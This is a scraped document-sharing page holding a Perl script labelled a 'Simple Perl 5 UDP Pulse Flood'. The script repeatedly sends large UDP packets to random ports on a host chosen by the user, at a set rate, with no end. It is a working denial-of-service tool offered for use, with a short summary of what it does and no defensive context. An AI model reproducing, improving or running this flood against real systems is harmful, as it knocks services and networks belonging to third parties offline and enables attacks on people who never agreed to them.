0% found this document useful (0 votes)
40 views2 pages

Udp

This Perl script implements a simple UDP pulse flood attack. It takes two command line arguments: the packets per second to send and the target host or IP address. It generates a long packet payload and sends that repeatedly to random ports on the target using UDP sockets. As it runs it prints the number of packets sent and continues indefinitely.

Uploaded by

zennro
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
40 views2 pages

Udp

This Perl script implements a simple UDP pulse flood attack. It takes two command line arguments: the packets per second to send and the target host or IP address. It generates a long packet payload and sends that repeatedly to random ports on the target using UDP sockets. As it runs it prints the number of packets sent and continues indefinitely.

Uploaded by

zennro
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

#!/usr/bin/perl -w # Simple Perl 5 UDP Pulse Flood v0.

1 use strict; use Socket; sub flood; sub usage; if(@ARGV < 2) { &usage(); } my my my my $packs_sent $packs_sec $target_ip $target_host = = = = 0; $ARGV[0]; $ARGV[1]; $target_ip;

if(!($packs_sec =~ m/^\d+$/) || $packs_sec < 1) { print "Minimum 1KBPS.\n"; exit(1); } # Fix $target_ip or $target_host to be correct, depending on the input if($target_host =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { $target_host = gethostbyaddr($target_ip, AF_INET); $target_host = "" unless $target_host; } else { $target_ip = inet_aton($target_host); die "Couldn't translate ",$target_host unless $target_ip; $target_ip = inet_ntoa($target_ip); die "Couldn't translate opaque ip string" unless $target_ip; } my $iaddr = inet_aton($target_ip); my $proto = getprotobyname('udp'); my $packet = "X"; foreach(1..1000) { $packet .= "X"; } $packet .= "\015\012"; print "Beginning udp flood on ",$target_host,"[",$target_ip,"]\n"; my ($port, $paddr, $i); while(1) { $port = rand(65535) + 1; $paddr = sockaddr_in($port, $iaddr); socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!"; connect(SOCK, $paddr) or die "connect: $!"; for($i=0;$i<$packs_sec;$i++) { print SOCK $packet; } close(SOCK) or die "close: $!"; sleep(1); $|=1; $packs_sent += $packs_sec; print "\rPackets sent: ",$packs_sent;

} sub usage { print "SIMPLE PULSING UDP FLOOD\n"; print "USAGE:\t./mt_pulse.pl A B\n"; print "\t A: KBPS to pulse (set to your upstream for best result)\n"; print "\t B: Target host or IP. (eg. radicalsroar.com OR 127.0.0.1)\n"; exit(1); }

You might also like